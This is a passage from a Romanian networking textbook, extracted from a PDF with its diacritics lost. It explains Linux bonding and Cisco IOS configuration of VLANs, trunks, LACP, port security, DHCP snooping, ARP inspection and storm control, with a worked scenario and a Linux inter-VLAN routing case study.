root@HQ:~# ifconfig bond0 bond0 Link encap:Ethernet HWaddr 00:0c:29:f5:74:94 inet addr:192.168.1.10 Bcast:192.168.1.255 Mask:255.255.255.0 inet6 addr: fe80::20c:29ff:fef5:7494/64 Scope:Link UP BROADCAST RUNNING MASTER MULTICAST MTU:1500 Metric:1 RX packets:1574 errors:0 dropped:240 overruns:0 frame:0 TX packets:435 errors:1 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:0 RX bytes:241686 (241.6 KB) TX bytes:39846 (39.8 KB)

Exist de asemenea i posibilitatea configurrii manuale a bonding-ului, prin comenzi ifenslave, util n cazul distribuiilor care nu ofer fiierul /etc/network/interfaces. Urmtorul script ce poate fi rulat la startup ncarc modulele de bonding i Eternet cu parametrii dorii, apoi configureaz interfaa agregat bond0, format din cele dou interfee fizice eth1 i eth2.
modprobe bonding mode=active-backup miimon=100 modprobe e100 ifconfig bond0 192.168.1.10 netmask 255.255.255.0 up

O p t i m i z a r e a r e e l e l o r l o c a l e | 167
ifenslave bond0 eth1 ifenslave bond0 eth2

5.4.2 Cisco IOS


VLAN-uri, legturi acces i legturi trunchi
Pentru definirea de VLAN-uri statice n Cisco IOS, este necesar introducerea numrului VLANului dorit n modul global de configurare al switch-ului, urmat de setarea numelui, care este opional:
Switch(config)# vlan 2 Switch(config-vlan)# name Engineering

Dup definirea unui VLAN, o operaiune important o reprezint asocierea porturilor de acces. Aceast operaiune se efectueaz prin intermediul a dou comenzi, introduse n modul de configurare al interfeei. n exemplul de mai jos, portul FastEthernet 0/5 este configurat ca legtur de acces n VLAN-ul 10:
Switch(config)# interface Fa 0/5 Switch(config-if)# switchport mode access Switch(config-if)# switchport access vlan 10

Pentru a vizualiza VLAN-urile definite pe un switch i porturile asociate acestora, se folosete comanda show vlan:
Switch#sh vlan VLAN Name Status Ports ---- -------------------------------- --------- ------------------------------1 default active Fa0/1, Fa0/2, Fa0/3, Fa0/4 Fa0/6, Fa0/7, Fa0/8, Fa0/9 Fa0/10, Fa0/11, Fa0/12, Fa0/13 Fa0/14, Fa0/15, Fa0/16, Fa0/17 Fa0/18, Fa0/19, Fa0/20, Fa0/21 Fa0/22, Fa0/23, Fa0/24 10 Engineering active Fa0/5 1002 fddi-default act/unsup 1003 token-ring-default act/unsup 1004 fddinet-default act/unsup 1005 trnet-default act/unsup ...

Pentru configurarea interfeelor de tip trunchi, avem la dispoziie comenzi care specific tipul de ncapsulare, VLAN-ul nativ al legturii, VLAN-urile permise pe trunchi i modul de operare al trunchiului. Lista de comenzi de mai jos configureaz interfaa FastEthernet 1/1 ca trunchi 802.1q, cu VLAN-ul nativ 100, permind trafic numai din VLAN-urile 200 i 300 i funcionnd n mod permanent, explicit ca trunchi.
Switch(config)# interface FastEthernet 1/1 Switch(config-if)# switchport trunk encapsulation dot1q Switch(config-if)# switchport trunk native vlan 100 Switch(config-if)# switchport trunk allowed vlan 200, 300 Switch(config-if)# switchport mode trunk

Primele dou comenzi sunt clare, cu meniunea ca switchport trunk encapsulation permite i opiunile ISL, respectiv negotiate. Multe dintre switch-urile din prezent au renunat la aceast comand, adoptnd implicit ncapsularea 802.1q. Cea de-a treia comand, switchport trunk allowed vlan definete o list de VLAN-uri al cror trafic este permis pe trunchi; aceast opiune este util, de exemplu, pentru evitarea propagrii de cadre broadcast pe legturi trunchi ctre zone ale reelei fr interfee de acces n VLAN-ul de origine. n cazul de fa, lista este definit explicit prin indici ai VLAN-urilor, ns se pot folosi i cuvintele cheie add, except, remove pentru obinerea unui comportament mai flexibil i mai granular. Ultima comand, switchport mode, care pe lng trunk ofer i opiunile dynamic desirable, respectiv dynamic auto, este legat de DTP (Dynamic Trunking Protocol), un protocol proprietar Cisco care permite negocierea dinamic a legturilor de tip trunchi ntre switch-uri. n

168 | C o n f i g u r a r e a i a d m i n i s t r a r e a r e e l e l o r l o c a l e general, majoritatea legturilor trunchi sunt configurate manual la ambele capete (switchport mode trunk). Pentru verificarea strii unei interfee trunchi, folosim comanda show interface type mod/port trunk:
Switch# show interface FastEthernet 2/1 trunk Port Mode Encapsulation Fa 2/1 on 802.1q Port Vlans allowed on trunk Fa 2/1 1-4094 Port Vlans allowed and active in management domain Fa 2/1 1-2, 100, 200, 300, 1002-1005 Port Vlans in spanning tree forwarding state and not pruned Fa 2/1 1-2, 100, 200, 300, 1002-1005 Status trunking Native vlan 1

Router-on-a-stick
Pentru configurarea rutrii inter-VLAN de tip router-on-a-stick, este necesar configurarea de subinterfee ale portului fizic din ruter conectat la legtura trunchi a switch-ului. Urmtoarea comand creeaz subinterfaa FastEthernet 0/0.100 (o convenie des ntlnit este ca indicele subinterfeei s coincid cu numrul VLAN-ului rutat):
Router#config t Enter configuration commands, one per line. End with CNTL/Z. Router(config)#interface fastEthernet 0/0.100 Router(config-subif)#

Ulterior, n modul de configurare a subinterfeei, trebuie s specificm tipul de ncapsulare (802.1q) i VLAN-ul asociat subinterfeei. Nu n ultimul rnd, trebuie configurat o adres IP corespunztoare i subinterfaa trebuie activat:
Router(config-subif)#encapsulation dot1Q 100 Router(config-subif)#ip address 192.168.100.1 255.255.255.0 Router(config-subif)#no shutdown

Aceti pai trebuie urmai pentru toate VLAN-urile ce vor fi rutate pe interfaa respectiv. Interfaa fizic propriu-zis a ruter-ului nu necesit configurarea unei adrese IP, ci doar activarea sa.
Router(config)#interface fastEthernet 0/0 Router(config-if)#no shutdown

Legturi agregate
n cadrul acestei seciuni, vom examina comenzile necesare configurrii unei legturi agregate ce utilizeaz LACP drept protocol de negociere n Cisco IOS. La nivel global, putem configura o prioritate LACP, care permite unui switch s devin factorul de decizie n negocierea legturii agregate, n defavoarea vecinului: o valoare mai mic indic o prioritate mai mare. Acest pas opional este ilustrat n comanda de mai jos, care seteaz prioritatea LACP a switch-ului la 5000 (implicit este 32768):
Switch#configure terminal Switch(config)# lacp system-priority 5000

Pasul doi l reprezint configurarea porturilor fizice n aceeai legtur agregat, cu specificarea protocolului LACP. Setul de comenzi de mai jos are ca efect gruparea configurarea interfeelor FastEthernet 0/1, 0/2, 0/3 i 0/4 pentru o legtur agregat cu indicele 1, cu mod de negociere LACP active:
Switch(config)# interface range FastEthernet 0/1 4 Switch(config-if)# channel-protocol lacp Switch(config-if)# channel-group 1 mode active

De asemenea, se pot configura prioriti LACP la nivel de port, care determin care interfee sunt active n cazul legturilor agregate ce conin membri n standby. Urmtoarea comand aplic

O p t i m i z a r e a r e e l e l o r l o c a l e | 169 prioritatea 1000 celor patru porturi configurate mai sus (la fel ca prioritatea global, valoarea implicit este 32768 i valori mai mici indic prioriti mai mari):
Switch(config-if)# lacp port-priority 100

Configurarea PAgP n locul LACP implic comenzi similare, modurile de funcionare fiind ns schimbate (desirable i auto n loc de active i passive). Exist i posibilitatea de a seta algoritmul de load-balancing a legturilor agregate, la nivel de switch, n modul global de configurare. n exemplul de mai jos, IP-ul destinaie este selectat drept criteriu de distribuire a pachetelor.
Switch(config)#port-channel load-balance ? dst-ip Dst IP Addr dst-mac Dst Mac Addr src-dst-ip Src XOR Dst IP Addr src-dst-mac Src XOR Dst Mac Addr src-ip Src IP Addr src-mac Src Mac Addr Switch(config)#port-channel load-balance dst-ip

Odat creat, o legtur agregat se acceseaz i se configureaz la fel ca una fizic:


Switch(config)#interface port-channel 1 Switch(config-if)#switchport mode trunk

Port security
Switch-urile Cisco de tip Catalyst ofer opiunea de port security pentru a controla accesul la o interfa pe baza adresei MAC. Aceasta este disponibil numai pe porturile de tip acces, i se activeaz prin urmtoarea comand, n modul de configurare a interfeei:
Switch(config-if)# switchport port-security

Dup efectuarea acestui pas, trebuie configurat un numr maxim de adrese MAC crora li se va permite accesul; acestea pot fi specificate manual, sau pot fi nvate dinamic de ctre switch. Urmtoarea comand seteaz limita maxim de adrese MAC asociat unui port la valoarea 3:
Switch(config-if)# switchport port-security maximum 3

Pentru configurarea unei adrese MAC statice creia s i se permit accesul pe un port, folosim urmtoarea comand (exemplul este pentru adresa MAC 0025.D3DC.B86B):
Switch(config-if)# switchport port-security mac-address 0025.D3DC.B86B

Dac numrul de adrese statice este mai mic dect limita maxim configurat, switch-ul nva restul adreselor n mod dinamic. Adresele dinamice asociate unui port pot fi configurate s expire dup un anumit interval de timp, ns, n mod implicit, ele sunt reinute pentru o perioad nedefinit. Totui, ele se terg dac interfaa cade sau switch-ul este repornit. Cisco IOS ofer posibilitatea ca adresele MAC nvate dinamic s fie salvate n running-config, urmnd ca ele s fie disponbile dup un restart, dac configuraia este salvat n prealabil. Aceast opiune poart numele de sticky learning, i poate fi activat prin comanda:
Switch(config-if)# switchport port-security mac-address sticky

De asemenea, trebuie definit modul n care o interfa reacioneaz la violarea securitii de ctre o adres MAC, lucru care se petrece cnd numrul de adrese MAC nvate depete limita maxim configurat, sau o adres necunoscut diferit de cele configurate static este detectat:
Switch(config-if)#switchport port-security violation ? protect Security violation protect mode restrict Security violation restrict mode shutdown Security violation shutdown mode Switch(config-if)#switchport port-security violation shutdown

n exemplul de mai sus, opiunea shutdown pune portul n starea de Errdisable, nchizndu-l la detectarea unei violri; interfaa va trebui repornit manual de ctre administratorul de reea. Restrict pstreaz portul n stare operaional, ns pachetele de la staiile cu adrese MAC invalide

170 | C o n f i g u r a r e a i a d m i n i s t r a r e a r e e l e l o r l o c a l e sunt respinse switch-ul numr pachetele respinse i poate trimite SNMP trap-uri pentru alertare. Protect pstreaz de asemenea portul operaional, respingnd pachetele invalide, ns nu ofer faciliti de logging.

DHCP Snooping
Primul pas n configurarea DHCP snooping pe o platform Cisco IOS const n activarea sa la nivel de switch, n modul global de configurare:
Switch(config)# ip dhcp snooping

Ulterior, trebuie identificate VLAN-urile pentru care se implementeaz opiunea; exemplul de mai jos prezint configurarea DHCP snooping pentru VLAN-ul 10:
Switch(config)# ip dhcp snooping vlan 10

Urmeaz configurarea interfeelor ca trusted sau untrusted implicit, toate porturile unui switch sunt considerate untrusted, ceea ce duce la respingerea pachetelor primite de tip DHCP Reply. Pentru configurarea ca trusted a unei interfee conectate ctre un server legitim de DHCP, folosim urmtoarea comand, exemplificat pentru Fast Ethernet 0/1:
Switch(config)# interface FastEthernet 0/1 Switch(config-if)# ip dhcp snooping trust

Implicit, switch-ul nu impune limite privind numrul de DHCP Requests primite pe o interfa untrusted, facilitnd atacurile de tip DHCP starvation. Acest comportament poate fi modificat prin configurarea unei limite de pachete DHCP care pot fi primite pe secund; n exemplul de mai jos, interfaa Fast Ethernet 0/5 permite un trafic de maxim 5 pachete DHCP pe secund:
Switch(config)# interface range FastEthernet 0/5 Switch(config-if)# ip dhcp snooping limit rate 5

Pentru mpiedicarea atacurilor avansate de tip DHCP starvation, care se bazeaz pe manipularea cmpului CHADDR, putem activa verificarea adresei MAC surs dintr-un pachet DHCP pe porturile untrusted, care este comparat cu valoarea Client Hardware Address. Comanda este disponibil n modul global de configurare, avnd sintaxa:
Switch(config)# ip dhcp snooping verify mac-address

Dynamic ARP Inspection


Configurarea DAI n Cisco IOS este similar cu cea a DHCP snooping-ului, pe ale crui mapri se i bazeaz. Prima oar este nevoie ca DAI-ul s fie activat pe VLAN-urile int, printr-o comand introdus n modul global de configurare (n cazul de fa, este activat pentru VLAN-ul 20):
Switch(config)# ip arp inspection vlan 20

La fel ca la configurarea DHCP snooping, n mod implicit toate porturile switch-ului asociate cu VLAN-urile pe care DAI este activ sunt considerate untrusted. Un port de tip trunk, care se conecteaz la un alt switch dintr-o parte sigur a reelei, poate fi configurat ca trusted prin urmtoarea comand, exemplificat pentru interfaa FastEthernet 0/4:
Switch(config)# interface FastEthernet 0/4 Switch(config-if)# ip arp inspection trust

n mod implicit, DAI-ul valideaz doar adresele MAC i IP din corpul ARP Reply-urilor, fr a examina i antetul Ethernet. Pentru a asigura faptul ca un rspuns ARP vine chiar de la adresa specificat n corpul su, putem apela la comanda:
Switch(config)# ip arp inspection validate {[src-mac] [dst-mac] [ip]}

Pot fi selectate una sau mai multe dintre cele trei opiuni, care efectueaz urmtoarele verificri: src-mac: valideaz adresa MAC surs din antetul Ethernet fa de adresa MAC a expeditorului dintr-un rspuns ARP;

O p t i m i z a r e a r e e l e l o r l o c a l e | 171 dst-mac: valideaz adresa MAC destinaie din antetul Ethernet fa de adresa MAC int dintr-un rspuns ARP; ip: verific adresa IP surs n cererile ARP i valideaz adresa IP a expeditorului fa de adresa IP int n rspunsurile ARP. Un subiect avansat l reprezint securizarea prin DAI a reelelor cu IP-uri configurate static, unde nu se mai poate apela la baza de date generat prin DHCP snooping. n asemenea cazuri, este necesar definirea unei liste de acces cu mapri statice de tip MAC-IP ale staiilor legitime, care s fie utilizat de DAI.

Storm Control
Pentru configurarea storm control, este necesar mai nti s definim pragurile de trafic pentru activarea sa la nivel de interfa. Exemplul de mai jos prezint setarea unor praguri de 10% din traficul total pentru pachetele de tip broadcast i multicast, pe interfaa FastEthernet 0/4:
Switch# configure terminal Switch (config)# interface FastEthernet 0/4 Switch (config-if)# storm-control broadcast level 10 Switch (config-if)# storm-control multicast level 10

n mod similar poate fi setat i pragul de trafic unicast. Pasul urmtor l reprezint configurarea aciunii efectuate la nivel de port, n cazul apariiei unui storm: putem nchide portul, punndu-l n starea Error Disabled, sau genera un mesaj SNMP pentru alertare. Comanda de mai jos activeaz opiunea shutdown pentru interfaa FastEthernet 0/4:
Switch(config)# interface FastEthernet 0/4 Switch(config-if)# storm-control action shutdown

5.5 Scenariu
O reea local de dimensiuni reduse, ilustrat n topologia de mai jos (vezi Fig. 5 -14), este pe cale de a suferi transformri semnificative. Momentan, reeaua nu este conectat la Internet, iar cele trei calculatoare ilustrate n figur, A, C i E se afl n acelai VLAN, 10, definit static pe toate switch-urile din topologie. Adresele IP ale celor trei staii sunt: A: 80.0.10.2/24 B: 80.0.10.3/24 C: 80.0.10.4/24 2 2

Sw9

Sw3

7 A

1 3 4 C 9
Sw8

4
Sw1

1
Sw7

8 E

5-14 Scenariu topologie iniial

172 | C o n f i g u r a r e a i a d m i n i s t r a r e a r e e l e l o r l o c a l e Porturile active ale celor cinci switch-uri sunt configurate fie n mod acces (cele la care se conecteaz staiile), fie n mod trunk (cele dintre switch-uri), permind traficul tuturor VLAN-urilor. Orice alte configurri sunt cele implicite, existente deja pe switch-uri. Iniial, reeaua funcioneaz corect, oferind conectivitate ntre staiile A, C i E. n urma schimbrilor efectuate, topologia se extinde, varianta sa final fiind prezentat mai jos, n Fig. 5-15 (de interes este doar partea pn la ruter-ul HQ). Modificrile care au avut loc sunt urmtoarele: au fost adugate staiile B, D i F, care vor trebui plasate ntr-un nou VLAN 20 cu adresele 80.0.20.2/24, 80.0.20.3/24, respectiv 80.0.20.4/24; a fost introdus ruter-ul HQ, care are rolul de a efectua rutarea ntre cele dou VLAN-uri i de a oferi conexiune la Internet; pentru asigurarea redundanei n cadrul reelei, a fost introdus switch-ul Sw2. Att echipamentele nou introduse, ct i cele existente n reea vor trebui configurate pentru stabilirea conectivitii end-to-end. De asemenea, zona de acces a switch-ului Sw7 va fi deschis vizitatorilor i se dorete implementarea unor msuri de securitate minime pentru evitarea incidentelor. 2 2 8 A B 3
Sw3

3 4 4 2 4 1 1
Sw7 Sw2

Sw9

1 3 4

4 4 4 Sw1

2
BR

M 3
ISP

9
Sw8

2 3

2 3

4
HQ

8 D

8 E

29 F 21 4 W

5-15 Scenariu topologie final Vom ncepe cu configurarea noului VLAN 20 i a porturilor de acces corespunztoare pe switchurile Sw7, Sw8, Sw9:
Sw9#conf t Enter configuration commands, one per line. Sw9(config)#vlan 20 Sw9(config-vlan)#name VLAN_NOU Sw9(config-vlan)#exit Sw9(config)#int fa 0/8 Sw9(config-if)#sw mode access Sw9(config-if)#sw access vlan 20 End with CNTL/Z.

Sw8#conf t Enter configuration commands, one per line. Sw8(config)#vlan 20 Sw8(config-vlan)#name VLAN_NOU Sw8(config-vlan)#exit Sw8(config)#int fa 0/8 Sw8(config-if)#sw mode access Sw8(config-if)#sw access vlan 20 Sw7#conf t Enter configuration commands, one per line.

End with CNTL/Z.

End with CNTL/Z.

O p t i m i z a r e a r e e l e l o r l o c a l e | 173
Sw7(config)#vlan 20 Sw7(config-vlan)#name VLAN_NOU Sw7(config-vlan)#exit Sw7(config)#int fa 0/9 Sw7(config-if)#sw mode access Sw7(config-if)#sw access vlan 20

De asemenea, este necesar configurarea VLAN-ului 20 i pe cele trei switch-uri de distribuie, deoarece majoritatea echipamentelor nu comut pachete dintr-un VLAN nedefinit (care nu exist n baza lor de date local) peste legturi de tip trunchi. Efectum configurarea pe switch-urile Sw3 i Sw1, Sw2 nefiind momentan activ n topologie:
Sw3(config)#vlan 20 Sw3(config-vlan)#name VLAN_NOU

Sw1(config)#vlan 20 Sw1(config-vlan)#name VLAN_NOU

Verificm acum VLAN-urile active pe switch-urile din topologie, prin comanda sh vlan, ilustrat pentru switch-ul Sw7:
Sw7#sh vlan VLAN Name Status Ports ---- -------------------------------- --------- ------------------------------1 default active Fa0/2, Fa0/3, Fa0/4, Fa0/5 Fa0/6, Fa0/7, Fa0/10, Fa0/11 Fa0/12, Fa0/13, Fa0/14, Fa0/15 Fa0/16, Fa0/17, Fa0/18, Fa0/19 Fa0/20, Fa0/21, Fa0/22, Fa0/23 Fa0/24 10 VLAN_VECHI active Fa0/8 20 VLAN_NOU active Fa0/9 1002 fddi-default act/unsup 1003 token-ring-default act/unsup 1004 fddinet-default act/unsup 1005 trnet-default act/unsup ...

Observm cele dou VLAN-uri, 10 i 20, cu porturile de acces asociate: Fa0/8, respectiv Fa0/9. Implicit, toate celelalte interfee sunt plasate n VLAN-ul 1. Testm conectivitatea ntre staiile din VLAN-ul 20 printr-un ping de la F la B:
F>ping 80.0.20.2 Pinging 80.0.20.2 with 32 bytes of data: Reply Reply Reply Reply from from from from 80.0.20.2: 80.0.20.2: 80.0.20.2: 80.0.20.2: bytes=32 bytes=32 bytes=32 bytes=32 time=19ms time=22ms time=15ms time=21ms TTL=128 TTL=128 TTL=128 TTL=128

Ping statistics for 80.0.20.2: Packets: Sent = 4, Received = 4, Lost = 0 (0% loss), Approximate round trip times in milli-seconds: Minimum = 15ms, Maximum = 22ms, Average = 19ms

Trecem acum la pasul doi, introducerea i configurarea ruter-ului HQ n topologie, pentru a asigura rutarea ntre VLAN-urile 10 i 20. Pentru redundan, HQ se conecteaz la switch-ul Sw7 prin dou legturi. Momentan, doar legtura Fa 0/2 este activ, ea urmnd a fi configurat cu subinterfee pentru VLAN-urile 10 i 20 prin urmtoarele comenzi:
HQ(config)#interface Fa 0/2 HQ(config)#no shut HQ(config-if)#interface Fa 0/2.10 HQ(config-subif)#encapsulation dot1Q 10 HQ(config-subif)#ip address 80.0.10.1 255.255.255.0 HQ(config-subif)#no shut HQ(config-subif)#interface Fa 0/2.20 HQ(config-subif)#encapsulation dot1Q 20 HQ(config-subif)#ip address 80.0.20.1 255.255.255.0 HQ(config-subif)#no shut HQ#sh ip int brief Interface IP-Address OK? Method Status [...] FastEthernet0/2 unassigned YES unset up

Protocol up

174 | C o n f i g u r a r e a i a d m i n i s t r a r e a r e e l e l o r l o c a l e
FastEthernet0/2.10 FastEthernet0/2.20 80.0.10.1 80.0.20.1 YES manual up YES manual up up up

Observm c interfeele ruter-ului au fost configurate cu dou IP-uri din spaiile de adrese corespunztoare VLAN-urilor 10 i 20, 80.0.10.1, respectiv 80.0.20.1. Dup configurarea acestor adrese ca default gateway pe staiile din cele dou VLAN-uri, putem testa funcionarea procesului de rutare inter-VLAN printr-un ping de la staia A la staia F:
A>ping 80.0.20.4 Pinging 80.0.20.4 with 32 bytes of data: Request Request Request Request timed timed timed timed out. out. out. out.

Ping statistics for 80.0.20.4: Packets: Sent = 4, Received = 0, Lost = 4 (100% loss),

Conexiunea nu este funcional. Verificm conectivitatea cu default-gateway-ul, operaiune obiuit n procesul de troubleshooting:
A>ping 80.0.10.1 Pinging 80.0.10.1 with 32 bytes of data: Request Request Request Request timed timed timed timed out. out. out. out.

Ping statistics for 80.0.10.1: Packets: Sent = 4, Received = 0, Lost = 4 (100% loss),

Concluzia este c nu exist conectivitate ntre staia A i ruter-ul HQ. Cel mai probabil, problema ine de configuraia switch-ului Sw7, care se conecteaz la HQ. O simpl comand pe switch-ul Sw7 ne indic originea acesteia:
Sw7#sh interfaces trunk Port Mode Fa0/1 on Port Fa0/1 Port Fa0/1 Port Fa0/1 Encapsulation 802.1q Status trunking Native vlan 1

Vlans allowed on trunk 1-1005 Vlans allowed and active in management domain 1,10,20 Vlans in spanning tree forwarding state and not pruned 1,10,20

Observm c interfaa Fa 0/2, care se conecteaz la ruter-ul HQ, nu a fost configurat ca trunchi: ea este implicit plasat n VLAN-ul 1, n mod acces, nefiind capabil s transporte trafic din VLAN-urile 10 i 20. Configurarea ei ca trunchi ar trebui s rezolve problema:
Sw7(config)#int fa 0/2 Sw7(config-if)#sw mode trunk

Verificm din nou conectivitatea ntre staiile A i F:


A>ping 80.0.20.4 Pinging 80.0.20.4 with 32 bytes of data: Request timed out. Reply from 80.0.20.4: bytes=32 time=25ms TTL=127 Reply from 80.0.20.4: bytes=32 time=26ms TTL=127 Reply from 80.0.20.4: bytes=32 time=22ms TTL=127 Ping statistics for 80.0.20.4: Packets: Sent = 4, Received = 3, Lost = 1 (25% loss), Approximate round trip times in milli-seconds: Minimum = 22ms, Maximum = 26ms, Average = 24ms

Rutarea inter-VLAN a fost configurat cu succes; este timpul s trecem la asigurarea redundanei reelei prin introducerea noului switch Sw2. Primul pas n configurarea acestuia este agregarea celor

O p t i m i z a r e a r e e l e l o r l o c a l e | 175 dou legturi ntre Sw2 i Sw3 ntr-un Etherchannel negociat prin LACP. Dorim ca switch-ul Sw3 s fie cel care iniiaz negocierea legturii agregate prin LACP i cel care ia deciziile referitoare la activarea interfeelor fizice din legtur. De asemenea, se vrea ca algoritmul de distribuire a traficului pe Etherchannel s ia n calcul numai adresa IP destinaie. Pentru realizarea cerinelor enumerate, este necesar ca interfeele FastEthernet 0/3 i 0/4 ale switch-ului Sw3 s fie configurate n modul LACP active, iar prioritatea global LACP a lui Sw3 s fie mai mic dect valoarea implicit, 32768:
Sw3(config)#interface range FastEthernet 0/3-4 Sw3(config-if-range)#channel-protocol lacp Sw3(config-if-range)#channel-group 1 mode active Sw3(config-if-range)#exit Sw3(config)#lacp system-priority 1000 Sw3(config)#port-channel load-balance dst-ip

La cellalt capt al legturii, pe Sw2, trebuie introduse comenzi similare, singurele diferene fiind c vom plasa interfeele n modul LACP passive i nu vom configura prioritatea global LACP:
Sw2(config)#interface range FastEthernet 0/3-4 Sw2(config-if-range)#channel-protocol lacp Sw2(config-if-range)#channel-group 1 mode passive Sw2(config-if-range)#exit Sw2(config)#port-channel load-balance dst-ip

Putem verifica starea legturilor agregate definite pe un switch printr-una dintre comenzile show etherchannel summary sau show etherchannel port-channel:
Sw3#sh etherchannel port-channel Channel-group listing: ---------------------Group: 1 ---------Port-channels in the group: --------------------------Port-channel: Po1 (Primary Aggregator) -----------Age of the Port-channel = 00d:00h:18m:10s Logical slot/port = 2/1 Number of ports = 2 GC = 0x00000000 HotStandBy port = null Port state = Port-channel Protocol = LACP Port Security = Disabled Ports in the Port-channel: Index Load Port EC state No of bits ------+------+------+------------------+----------0 00 Fa0/4 Active 0 0 00 Fa0/3 Active 0 Time since last port bundled: 00d:00h:02m:37s Fa0/3

Dup realizarea legturii agregate, este necesar configurarea noilor interfee dintre switch-urile Sw2 i Sw1, Sw3, ca trunchiuri, nsoit de o msur de securitate preventiv: singurele VLAN-uri permise pe cele trei interfee s fie 10 i 20. ncepem cu switch-ul Sw2:
Sw2(config)#interface port-channel 1 Sw2(config-if)#switchport mode trunk Sw2(config-if)#switchport trunk allowed vlan 10,20 Sw2(config-if)#interface Fa 0/1 Sw2(config-if)#switchport mode trunk Sw2(config-if)#switchport trunk allowed vlan 10,20

Configurm apoi cellalt capt al Etherchannel-ului, Sw3:


Sw3(config)#int port-channel 1 Sw3(config-if)#switchport mode trunk Sw3(config-if)#switchport trunk allowed vlan 10,20 Sw3(config-if)#interface fa 0/1 Sw3(config-if)#switchport trunk allowed vlan 10,20

Pentru a ncheia cu Sw1:


Sw1(config)#interface FastEthernet 0/2 Sw1(config-if)#switchport mode trunk Sw1(config-if)#switchport trunk allowed vlan 10,20

176 | C o n f i g u r a r e a i a d m i n i s t r a r e a r e e l e l o r l o c a l e
Sw1(config-if)#interface FastEthernet 0/3 Sw1(config-if)#switchport trunk allowed vlan 10,20

n cele din urm, verificm starea interfeelor trunchi definite pe Sw2:


Sw2#show interfaces trunk Port Mode Encapsulation Fa0/1 on 802.1q Fa0/3 on 802.1q Fa0/4 on 802.1q Po1 on 802.1q Port Fa0/1 Fa0/3 Fa0/4 Po1 Port Fa0/1 Fa0/3 Fa0/4 Po1 Port Fa0/1 Fa0/3 Fa0/4 Po1 Vlans allowed on trunk 10,20 1-1005 1-1005 10,20 Vlans allowed and active in management domain none 1 1 none Vlans in spanning tree forwarding state and not pruned none 1 1 none Status trunking trunking trunking trunking Native vlan 1 1 1 1

Ultima modificare major n cadrul reelei o reprezint crearea unei zone de acces pentru oaspei, ntr-un VLAN separat, care s aib conectivitate la Internet. n acest sens, interfeele FastEthernet 0/21-24 de pe switch-ul Sw7 vor fi configurate n VLAN-ul 100, care va avea adrese din clasa 80.0.100.0/24, alocate prin DHCP. Acest VLAN va fi rutat n Internet pe legtura de backup ntre Sw7 i HQ, care va fi configurat n mod acces; n cadrul acestui scenariu ne intereseaz strict setrile de securitate ce trebuie configurate pe Sw7. Cerinele de securitate impuse pentru interfeele de acces din VLAN-ul sunt urmtoarele: maxim 3 adrese MAC permise per port, cu opiunea de nvare sticky. La detectarea unui incident de securitate, interfaa asociat va fi nchis; pe VLAN-ul 100 vor fi activate opiunile de DHCP Snooping i Dynamic ARP Inspection. Vor fi verificate cmpurile CHADDR din pachetele de DHCP, respectiv adresele MAC surs i destinaie din antetul Ethernet al cadrelor ARP. Rat maxim acceptat a pachetelor DHCP pe interfeele de acces va fi de 10/secund. Pentru nceput, activm port security, urmrind cerinele exprimate mai sus:
Sw7(config)#interface range Fa0/21-24 Sw7(config-if-range)#switchport mode access Sw7(config-if-range)#switchport access vlan 100 Sw7(config-if-range)#switchport port-security Sw7(config-if-range)#switchport port-security maximum 3 Sw7(config-if-range)#switchport port-security mac-address sticky Sw7(config-if-range)#switchport port-security violation shutdown

Pentru afiarea unui sumar al setrilor de port security configurate pe switch, introducem comanda show port security:
Sw7#show port-security Secure Port MaxSecureAddr CurrentAddr SecurityViolation Security Action (Count) (Count) (Count) -------------------------------------------------------------------Fa0/21 3 0 0 Shutdown Fa0/22 3 0 0 Shutdown Fa0/23 3 0 0 Shutdown Fa0/24 3 0 0 Shutdown ----------------------------------------------------------------------

Continum cu activarea opiunii de DHCP Snooping observai configurarea celor trei uplink-uri ale switch-ului Sw7 ca interfee trusted:
Sw7(config)#ip dhcp snooping vlan 100 Sw7(config)#ip dhcp snooping verify mac-address Sw7(config)#interface range FastEthernet 0/21 24 Sw7(config-if)#interface gigabitethernet 0/1 Sw7(config-if)#interface range FastEthernet 0/1 3

O p t i m i z a r e a r e e l e l o r l o c a l e | 177
Sw7(config-if)#ip dhcp snooping trust

Configuraia curent a opiunii de DHCP Snooping poate fi vizualizat prin comanda show ip dhcp snooping:
Sw7#show ip dhcp snooping Switch DHCP snooping is enabled DHCP snooping is configured on following VLANs: 100 Insertion of option 82 is enabled Interface Trusted Rate limit (pps) --------------------------------------------FastEthernet0/1 yes unlimited FastEthernet0/2 yes unlimited FastEthernet0/3 yes unlimited FastEthernet0/21 no 10 FastEthernet0/22 no 10 FastEthernet0/23 no 10 FastEthernet0/24 no 10

Dup configurarea DHCP snooping-ului, putem trece la pasul final, activarea DAI:
Sw7(config)#ip arp inspection vlan 100 Sw7(config)#ip arp inspection validate src-mac dst-mac Switch(config)#interface range FastEthernet 0/1 3 Switch(config-if)#ip arp inspection trust

Pentru a vedea setrile curente de DAI i counter-ele asociate, introducem comanda show ip arp inspection:
Sw7# show ip arp inspection Source Mac Validation : Enabled Destination Mac Validation : Enabled IP Address Validation : Disabled Vlan ---100 Vlan ---100 Vlan ---100 Vlan ---100 Vlan ---100 Configuration ------------Enabled ACL Logging ----------Deny Forwarded --------22 DHCP Permits -----------22 Operation --------Active ACL Match --------Static ACL ----------

DHCP Logging -----------Deny Dropped ------2

Probe Logging ------------Off ACL Drops --------0 Source MAC Failures ------------------0 Invalid Protocol Data --------------------0

DHCP Drops ---------2

ACL Permits Probe Permits ----------- ------------0 0 IP Validation Failures ---------------------0

Dest MAC Failures ----------------0

5.6 Studiu de caz


5.6.1 Rutare inter-VLAN pe Linux
n acest studiu de caz, vom examina modul de configurare a unei interfee fizice de pe un sistem Linux ca trunchi 802.1q i efectuarea rutrii inter-VLAN pe maina respectiv. Vom folosi datele din cadrul scenariului din seciunea 5.5 a capitolului, prin nlocuirea ruterului hardware HQ cu o main Debian Linux (vezi Fig. 5-15). Aceasta va trebui s asigure rutarea ntre VLAN-urile 10 i 20, cu adrese IP de gateway 80.0.10.1, respectiv 80.0.20.1. n acest sens, vom configura subinterfee asociate eth1 pentru VLAN-urile 10 i 20, prin intermediul utilitarului ip link:
root@HQ:~# ip link add link eth1 name eth1.10 type vlan id 10 root@HQ:~# ip link add link eth1 name eth1.20 type vlan id 20 root@HQ:~# ip addr add 80.0.10.1/24 dev eth1.10 root@HQ:~# ip addr add 80.0.20.1/24 dev eth1.20 root@HQ:~# ip addr show [...] 2: eth1: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noop state UP

178 | C o n f i g u r a r e a i a d m i n i s t r a r e a r e e l e l o r l o c a l e
